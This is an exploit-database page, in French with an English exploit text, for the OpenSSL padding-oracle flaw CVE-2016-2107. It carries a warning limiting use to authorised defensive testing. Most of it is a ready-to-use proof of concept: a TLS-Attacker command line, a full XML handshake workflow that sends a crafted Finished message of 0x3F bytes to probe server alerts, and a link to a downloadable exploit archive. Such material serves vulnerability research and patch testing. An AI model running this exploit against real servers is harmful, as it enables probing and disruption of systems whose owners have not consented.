Exploit matérialisé
CVE-2016-2107
HIGH1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
dos multiple Vérifié
Source
OpenSSL - Padding Oracle in AES-NI CBC MAC Check
Par Juraj Somorovsky
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
Code txt
Source: http://web-in-security.blogspot.ca/2016/05/curious-padding-oracle-in-openssl-cve.html
TLS-Attacker:
https://github.com/RUB-NDS/TLS-Attacker
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39768.zip
You can use TLS-Attacker to build a proof of concept and test your implementation. You just start TLS-Attacker as follows:
java -jar TLS-Attacker-1.0.jar client -workflow_input rsa-overflow.xml -connect $host:$port
The xml configuration file (rsa-overflow.xml) looks then as follows:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
<protocolMessages>
<ClientHello>
<messageIssuer>CLIENT</messageIssuer>
<includeInDigest>true</includeInDigest>
<extensions>
<EllipticCurves>
<supportedCurvesConfig>SECP192R1</supportedCurvesConfig>
<supportedCurvesConfig>SECP256R1</supportedCurvesConfig>
<supportedCurvesConfig>SECP384R1</supportedCurvesConfig>
<supportedCurvesConfig>SECP521R1</supportedCurvesConfig>
</EllipticCurves>
</extensions>
<supportedCompressionMethods>
<CompressionMethod>NULL</CompressionMethod>
</supportedCompressionMethods>
<supportedCipherSuites>
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA</CipherSuite>
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA</CipherSuite>
<CipherSuite>TLS_RSA_WITH_AES_128_CBC_SHA256</CipherSuite>
<CipherSuite>TLS_RSA_WITH_AES_256_CBC_SHA256</CipherSuite>
</supportedCipherSuites>
</ClientHello>
<ServerHello>
<messageIssuer>SERVER</messageIssuer>
</ServerHello>
<Certificate>
<messageIssuer>SERVER</messageIssuer>
</Certificate>
<ServerHelloDone>
<messageIssuer>SERVER</messageIssuer>
</ServerHelloDone>
<RSAClientKeyExchange>
<messageIssuer>CLIENT</messageIssuer>
</RSAClientKeyExchange>
<ChangeCipherSpec>
<messageIssuer>CLIENT</messageIssuer>
</ChangeCipherSpec>
<Finished>
<messageIssuer>CLIENT</messageIssuer>
<records>
<Record>
<plainRecordBytes>
<byteArrayExplicitValueModification>
<explicitValue>
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
</explicitValue>
</byteArrayExplicitValueModification>
</plainRecordBytes>
</Record>
</records>
</Finished>
<ChangeCipherSpec>
<messageIssuer>SERVER</messageIssuer>
</ChangeCipherSpec>
<Finished>
<messageIssuer>SERVER</messageIssuer>
</Finished>
</protocolMessages>
</workflowTrace>
It looks to be complicated, but it is just a configuration for a TLS handshake used in TLS-Attacker, with an explicit value for a plain Finished message (32 0x3F bytes). If you change the value in the Finished message, you will see a different alert message returned by the server.